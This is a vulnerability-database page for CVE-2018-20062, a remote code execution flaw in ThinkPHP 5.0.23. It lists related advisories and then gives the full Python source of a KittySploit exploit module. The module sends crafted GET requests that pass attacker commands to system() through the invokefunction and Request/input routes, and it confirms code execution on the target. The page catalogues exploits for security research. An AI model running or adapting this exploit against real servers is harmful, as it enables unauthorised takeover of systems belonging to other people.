ThinkPHP 5.0.23 RCE (CVE-2018-20062)
| Reporter | Title | Published | Views | Family All 30 |
|---|---|---|---|---|
| ThinkPHP 5.0.23 Remote Code Execution Exploit | 15 Apr 202000:00 | – | zdt | |
| CVE-2018-20062 | 11 Dec 201800:00 | – | attackerkb | |
| The vulnerability of the thinkphp/library/think/App.php component in the ThinkPHP framework allows a attacker to execute arbitrary PHP code on the target system. | 7 Sep 202100:00 | – | bdu_fstec | |
| CVE-2018-20062 | 18 Jan 201914:45 | – | circl | |
| ThinkPHP "noneCms" Remote Code Execution Vulnerability | 3 Nov 202100:00 | – | cisa_kev | |
| NoneCMS ThinkPHP Remote Code Execution (CVE-2018-20062) | 1 Jul 201900:00 | – | checkpoint_advisories | |
| CVE-2018-20062 | 11 Dec 201818:00 | – | cve | |
| CVE-2018-20062 | 11 Dec 201818:00 | – | cvelist | |
| ThinkPHP - Multiple PHP Injection RCEs (Metasploit) | 16 Apr 202000:00 | – | exploitdb | |
| Exploit for CVE-2018-20062 | 10 Sep 202604:32 | – | githubexploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ThinkPHP 5.0.23 invokefunction RCE (CVE-2018-20062)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'ThinkPHP 5.0.23 RCE (CVE-2018-20062)',
'description': (
'Exploits CVE-2018-20062 in ThinkPHP 5.0.23 via call_user_func_array '
'in index/think\\app/invokefunction for remote code execution.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2018-20062'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce',
],
'tags': ['thinkphp', 'php', 'rce', 'kev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/cve_2018_20062_detect'],
},
},
}
def execute(self, cmd: str) -> str:
safe = str(cmd).replace("'", "\\'")
paths = (
f'/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]={safe}',
f'/?s=index/\\think\\Request/input&filter=system&data={safe}',
)
for path in paths:
r = self.http_request(method='GET', path=path, allow_redirects=False)
if r and r.text:
return r.text
return ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2018-20062 RCE confirmed', 'confidence': 'high'}
r = self.http_request(
method='GET',
path='/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1',
allow_redirects=False,
)
if r and all(m in (r.text or '') for m in ('PHP Version', 'ThinkPHP')):
return {'vulnerable': True, 'reason': 'ThinkPHP invokefunction surface confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'ThinkPHP RCE not confirmed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
9.3Critical risk
Vulners AI Score9.3
CVSS 27.5
CVSS 3.19.8
EPSS0.9953
SSVC